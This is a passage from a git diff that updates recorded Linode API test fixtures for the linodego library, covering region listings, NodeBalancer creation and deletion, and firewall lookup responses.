"us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", - "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, - 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, - 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -270,21 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:41 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -293,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -302,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":285860}' + body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":501400}' form: {} headers: Accept: @@ -314,11 +313,10 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 492998, "label": "go-test-def", "region": "ap-west", "hostname": - "172-105-45-110.ip.linodeusercontent.com", "ipv4": "172.105.45.110", "ipv6": - "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, - "total": null}}' + body: '{"id": 694197, "label": "go-test-def", "region": "ap-west", "hostname": + "172-232-86-45.ip.linodeusercontent.com", "ipv4": "172.232.86.45", "ipv6": "1234::5678", + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": + 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" @@ -331,17 +329,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - - "336" + - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:42 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -354,7 +354,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -372,17 +375,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/492998/firewalls + url: https://api.linode.com/v4beta/nodebalancers/694197/firewalls method: GET response: - body: '{"data": [{"id": 285860, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": - [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": - "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": - "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": - "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}], "page": 1, "pages": 1, - "results": 1}' + body: '{"data": [{"id": 501400, "label": "cloudfw-1717176495111377000", "created": + "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", + "rules": {"inbound": [{"action": "ACCEPT", "label": "ssh-inbound-accept-local", + "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["66.183.56.141/32"]}}], + "inbound_policy": "DROP", "outbound": [], "outbound_policy": "ACCEPT", "version": + 1, "fingerprint": "34cf15cc"}, "tags": [], "entities": [{"id": 694197, "type": + "nodebalancer", "label": "go-test-def", "url": "/v4/nodebalancers/694197"}]}], + "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -395,18 +398,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - - "575" + - "591" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:42 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -420,7 +424,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -438,7 +445,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/492998 + url: https://api.linode.com/v4beta/nodebalancers/694197 method: DELETE response: body: '{}' @@ -454,7 +461,7 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: @@ -463,8 +470,10 @@ interactions: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:42 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -477,64 +486,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "400" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/285860 - method: DELETE - response: - body: '{}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Connection: - - keep-alive - Content-Length: - - "2" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestNodeBalancerNode_Create.yaml b/test/integration/fixtures/TestNodeBalancerNode_Create.yaml index 3dda803d9..9d2eeff68 100644 --- a/test/integration/fixtures/TestNodeBalancerNode_Create.yaml +++ b/test/integration/fixtures/TestNodeBalancerNode_Create.yaml @@ -1,67 +1,6 @@ --- version: 1 interactions: -- request: - body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls - method: POST - response: - body: '{"id": 228210, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": - [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": - "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": - "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": - "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "526" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - request: body: "" form: {} @@ -76,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", 